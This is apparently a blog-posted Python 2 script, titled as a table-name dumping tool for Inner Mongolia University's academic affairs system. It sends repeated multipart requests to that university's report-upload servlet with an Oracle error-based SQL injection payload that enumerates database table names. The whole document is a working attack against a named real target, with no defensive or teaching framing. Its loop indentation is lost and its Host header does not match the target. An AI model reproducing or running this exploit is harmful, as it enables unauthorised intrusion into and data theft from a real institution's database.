# -*- coding: gbk -*-
import urllib2
for icounti in range(1000):
myhehedata="tbl=dual/**/where/**/1=ctxsys.drithsx.sn(1,(SELECT/**/table_name FROM(SELECT/**/user_tables.table_name,ROWNUM/**/AS/**/CON/**/FROM/**/user_tables/**/WHERE ROWNUM/**/<= %s)WHERE/**/CON >=%s))/**/--;keyValue=2;keyCol=1;updateValue=1;updateCol=1" % (str(icounti),str(icounti))
headers={"User-Agent":"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1","Host":"www.ikcw.com","Content-Type":"multipart/form-data","boundary":"---------------------------18427761219428419421453724393"}
boundary='---------------------------18427761219428419421453724393'
data=[]
data.append('--%s' % boundary)
data.append('Content-Disposition: form-data; name="file";filename=""')
data.append('Content-Type: application/octet-stream\r\n')
data.append('--%s' % boundary)
data.append('Content-Disposition: form-data; name="update"\r\n')
data.append(myhehedata)
data.append('--%s' % boundary)
data.append('Content-Disposition: form-data; name="xh"\r\n')
data.append('test')
data.append('--%s' % boundary)
data.append('Content-Disposition: form-data; name="processor"\r\n')
data.append('com.runqian.report.input.AbstractProcessor')
data.append('--%s' % boundary)
data.append('Content-Disposition: form-data; name="backAndRefresh"\r\n')
data.append('test')
data.append('--%s' % boundary)
data.append('Content-Disposition: form-data; name="webTableName"\r\n')
data.append('test1')
data.append('--%s' % boundary)
data.append('Content-Disposition: form-data; name="importTo"\r\n')
data.append('text')
data.append('--%s' % boundary)
data.append('Content-Disposition: form-data; name="params"\r\n')
data.append('params')
data.append('--%s' % boundary)
data.append('Content-Disposition: form-data; name="submit"\r\n')
data.append('Submit')
data.append('--%s--' % boundary)
httpBody='\r\n'.join(data)
postDataUrl='http://jwxt.imu.edu.cn/servlet/com.runqian.report.input.UploadFile2DBServlet'
req=urllib2.Request(postDataUrl,data=httpBody,headers=headers)
resul= urllib2.urlopen(req)
resulstr= resul.read().decode("gbk")
arry= resulstr.split('\n')
print arry[1][15:-3]
内蒙古大学教务处脱表名脚本
最新推荐文章于 2021-07-03 20:27:08 发布
